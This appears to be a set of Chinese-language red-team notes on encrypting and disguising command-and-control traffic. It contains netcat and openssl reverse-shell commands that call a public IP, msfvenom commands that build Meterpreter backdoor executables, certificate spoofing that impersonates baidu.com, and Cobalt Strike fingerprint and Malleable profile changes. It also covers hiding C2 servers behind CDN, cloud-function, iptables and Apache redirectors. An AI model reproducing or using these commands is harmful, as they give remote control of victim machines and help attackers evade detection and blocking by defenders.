NC-未加密&加密后
nc -lvvp 5566
nc -e /bin/bash 47.94.236.117 5566
加密前nc数据明文传输
在我们的攻击端生成自签名证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
在攻击机上监听指定端口,这里我选择 8888
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
在受害机上执行 shell 反弹命令(注意修改 ip 和端口)
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.94.236.117:8888 > /tmp/s;
MSF-流量通讯特征修改-证书-openssl
直接生成为http协议后门
msfvenom -p windows/meterpreter/reverse_http LHOST=47.94.236.117 LPORT=5566 -f exe -o http.exe
特征显而易见
采用reverse_https 上线,采用默认证书,特征依然明显
msfvenom -p windows/meterpreter/reverse_reverse_https LHOST=47.94.236.117 LPORT=5566 -f exe -o https.exe
解决 HTTPS-SSL 通讯证书被特征标示问题
1.利用 openssl 生成证书:
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj "/C=UK/ST=xiaodi/L=xiaodi/O=Development/CN=www.baidu.com" -keyout www.baidu.com.key -out www.baidu.com.crt && cat www.baidu.com.key www.baidu.com.crt > www.baidu.com.pem && rm -f www.baidu.com.key www.baidu.com.crt
-impersonate_ssl 模块
此外 Metasploit 框架还有一个 auxiliary/gather/impersonate_ssl 模块,可
以用来自动从信任源创建一个虚假证书,十分方便:
use auxiliary/gather/impersonate_ssl
set RHOST www.baidu.com
run
2.MSF 生成绑定证书后门:
msfvenom -p windows/meterpreter/reverse_https LHOST=47.94.236.117 LPORT=5566 PayloadUUIDTracking=true PayloadUUIDName=Whoamishell HandlerSSLCert=/root/www.baidu.com.pem StagerVerifySSLCert=true -f exe -o https-b.exe
3.MSF 监听上线:
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 5566
set HandlerSSLCert /root/www.baidu.com.pem
set StagerVerifySSLCert true
run
CS-流量通讯特征修改-Keytool&Profiles
-解决HTTP/S通讯证书及流量特征被特征标示问题
JDK Keytool 修改cs特征
1.修改默认端口:
编辑teamserver文件,更改server port部分50050端口
2.去除store证书特征:
查看证书指纹:keytool -list -v keystore cobaltstrike.store
生成证书指纹:keytool -keystore cobaltstrikel.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias xiaodi8.com -dname “CN=xiaodi8 e-Szigno Root CA,OU=e-Szigno CA, O=xiaodi8 Ltd., L=Budapest, S=HU, C=HU”
应用证书指纹:keytool -importkeystore -srckeystore cobaltstrikel.store -destkeystore cobaltstrikel.store -deststoretype pkcs12
3、去除流量通讯特征:
规则资源:
https://github.com/xx0hcd/Malleable-C2-Profiles
https://github.com/FortyNorthSecurity/C2concealer
1.创建C2文件:xiaodi.profiles
2.写入通讯规则:UA头&GET&POST&心跳&证书等
3.测试规则正常:./c2lint xiaodi.profiles
4.加载C2规则启动:./teamserver ip密码 xiaodi.profiles
profiles加载证书
以下规则和生成的证书保持一致
https-certificate
set CN "xiaodi8 e-Szigno Root CA";
set O "xiaodi8 Ltd.";
set C "HU" ;
set L "Budapest" ;
set OU "e-Szigno CA";
set ST "HU";
set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
set keystore "xiaodi.store";
set password "xiaodi";
set alias "xiaodi8.com"
}
CS-防封锁 IP 地址
CDN
国外域名+cloudflare
配置 HTTPS stager host
Cloudflare 支持的 HTTP 端口:80 8080 8880 2052 2082 2086 2095
Cloudflare 支持的 HTTPS 端口:443 2053 2083 2087 2096 8443
腾讯云云函数
使用腾讯云函数隐藏C2_云函数隐藏c2服务器后执行命令没有回显-CSDN博客
端口转发-Iptables
后门运行后先把流量发给转发机某端口,转发机再把该端口流量转发给c2服务器的某端口
1、转发机设置转发:(80改443即https)这里我使用同C段下kali进行转发
iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 47.94.130.42:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward =1
2、CS监听器配置转发机IP
CS新建监听器10.10.10.146
只能隐藏ip,封ip还是掉权限
中间件反向代理
1、代理机安装Apache:
apt-get install apache2
a2enmod proxy proxy_ajp proxy_balancer proxy_connect proxy_http
systemctl restart apache2
/etc/apache2/sites-enabled/000-default.conf
2、中间件设置转发:
http:
ProxyPass "/" "http://CS的IP/"
ProxyPassReverse "/" "http://CS的IP/"
https:
ProxyPass "/" "https://CS的IP/"
ProxyPassReverse "/" "https://CS的IP/"
3、重启Apache服务
service apache2 restart
参考:
【红队APT】反朔源&流量加密&CS&MSF&证书指纹&C2项目&CDN域前置_创建c2文件xiaodi.profile-CSDN博客